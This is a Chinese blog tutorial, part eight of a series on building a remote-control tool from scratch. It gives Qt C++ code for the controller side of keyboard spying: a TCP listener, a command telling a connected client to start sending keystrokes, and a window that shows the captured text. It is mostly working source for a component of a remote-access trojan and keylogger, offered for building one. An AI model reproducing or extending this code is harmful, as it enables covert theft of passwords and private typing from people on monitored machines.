从零开始做远控 第八篇 键盘监控

如果你从没看过这系列教程请点击:从零开始做远控 简介篇


键盘监控:

第八节了,这节是写服务端接收客户端发过来的键盘数据,然后打印到窗口里,这样键盘监控就完成了。



效果图:




KeyboardSpy类

1.首先我们要在ZeroServer项目中增加一个继承于QWidget的KeyboardSpy类,和屏幕监控那一节差不多,所以我直接放代码。


代码

KeyboardSpy.h

/*
 *  Author: sumkee911@gmail.com
 *  Date: 2016-12-22
 *  Brief: 从客户端接收键盘数据,打印到窗口上
 *
 */


#ifndef KEYBOARDSPY_H
#define KEYBOARDSPY_H

#include <QWidget>
#include "tcpsocket.h"
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QTextEdit>

class KeyboardSpy : public QWidget
{
    Q_OBJECT
public:
    explicit KeyboardSpy(QWidget *parent = 0);

    // 开始监控服务器,然后返回新的端口号
    int startKeyboardSpyServer(QString userName);

private:
    TcpServer *mServer;
    TcpSocket *mSock;
    QTextEdit *mEdit;    // 用来显示接收的键盘数据

signals:

public slots:
    // 有新客户连接
    void newConnection(QTcpSocket *s);

    // 处理新数据
    void processBuffer();

protected:
    // 大小重置
    void resizeEvent(QResizeEvent *);

    // 关闭
    void closeEvent(QCloseEvent *);
};


#endif // KEYBOARDSPY_H

KeyboardSpy.cpp

#include "keyboardspy.h"

KeyboardSpy::KeyboardSpy(QWidget *parent) : QWidget(parent)
{
    // 初始化窗口
    const int w = 400, h = 300;
    const int x = (QApplication::desktop()->width() - w) >> 1;
    const int y = (QApplication::desktop()->height() - h) >> 1;
    this->setGeometry(x, y, w, h);

    // 设置文本框
    mEdit = new QTextEdit(this);
    mEdit->setGeometry(0,0,w,h);
    mEdit->setReadOnly(true);
}

int KeyboardSpy::startKeyboardSpyServer(QString userName)
{
    // 设置窗口标题
    this->setWindowTitle(userName.append("-键盘监控"));

    // 开启新的服务端
    mServer = new TcpServer(this);
    connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));

    mServer->start(0);
    if (!mServer->server()->isListening()) {
        qDebug() << "开启屏幕监控服务端失败";
        deleteLater();
        return -1;
    }

    // 开启监控窗口
    this->show();

    return mServer->server()->serverPort();
}

void KeyboardSpy::newConnection(QTcpSocket *s)
{
    // 新增客户
    mSock = new TcpSocket(s, this);
    connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
    connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));

    // 不再监听新客户
    mServer->server()->close();
}

void KeyboardSpy::processBuffer()
{
    // 将数据打印到文本框
    QString text = mEdit->toPlainText();
    mEdit->setText(text.append(*mSock->buffer()));

    // 清空缓冲区
    mSock->buffer()->clear();
}

void KeyboardSpy::resizeEvent(QResizeEvent *)
{
    mEdit->setGeometry(0,0,width(), height());
}

void KeyboardSpy::closeEvent(QCloseEvent *)
{
    // 删除窗口
    deleteLater();
}


2.在widget.cpp中修改函数keyboardClicked。
void Widget::keyboardClicked()
{
    int id = currentClientIdFromTable();
    if (id != -1) {
        KeyboardSpy *ks = new KeyboardSpy();
        ZeroClient *client = mZeroServer->client(id);
        int port = ks->startKeyboardSpyServer(QString::number(id));


        // 开始监控
        client->sendKeyboardSpy(port);
    }
}


3.在ZeroClient中增加函数sendKeyboardSpy。
void ZeroClient::sendKeyboardSpy(int port)
{
    QString data;
    data.append(CmdKeyboardSpy+CmdSplit);
    data.append("PORT"+CmdSplit+QString::number(port));
    data.append(CmdEnd);
    mSock->write(data.toLocal8Bit());
}


本节完整代码:
下载完整代码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值